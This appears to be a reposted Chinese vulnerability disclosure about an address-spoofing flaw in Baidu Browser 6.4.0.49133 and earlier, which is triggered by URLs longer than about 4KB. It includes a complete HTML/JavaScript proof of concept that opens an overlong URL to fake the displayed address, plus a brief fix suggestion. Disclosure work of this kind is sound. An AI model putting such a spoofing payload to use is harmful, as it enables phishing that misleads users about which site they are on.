百度浏览器近期发现漏洞,百度浏览器6.4.0.49133以及以前版本伪造任意网址漏洞,伪造任意协议(http/https/ftp...)、域名、网址URL长度大于4KB时处理出错,例如将证明文件保存为c:/a.htm并打开,点击连接后可以伪造任意网址。
同时URL过长的时候,会显示“已收藏”图标,估计是处理过长url时逻辑有点小问题漏洞证明:
复制代码
代码如下:
<html>
<div id='c' style=''> //displaynone
ss
</div>
<a href="#" target="newwin" id='v' style="display:block" onclick="invokePoC();window.open('javascript:1;','newwin');">just click me</a>
<script>
function invokePoC() {
wx = open("http://www.baidu.com/account/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</p>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
","newwin");//setInterval("doit()",5000);
}
if(window.name == "newwin")
{
document.getElementById('c').innerText = ':). due to an internal error(>10Kbytes url), the fav icon will be shown. if you just want the shortest url, just make it for about 4KB';document.write("<title>:)</title>");
document.getElementById('v').style.display = 'none';}
</script>
</html>
修复方案:
无效URL及时过滤,以防止伪造网址,谢谢阅读,希望能帮到大家,请继续关注,我们会努力分享更多优秀的文章。
标签: 网址 漏洞 浏览器
免责声明:本文系转载,版权归原作者所有;旨在传递信息,其原创性以及文中陈述文字和内容未经本站证实。
本文地址:http://www.zuomama.com/qiaomen/youxi/1274284.html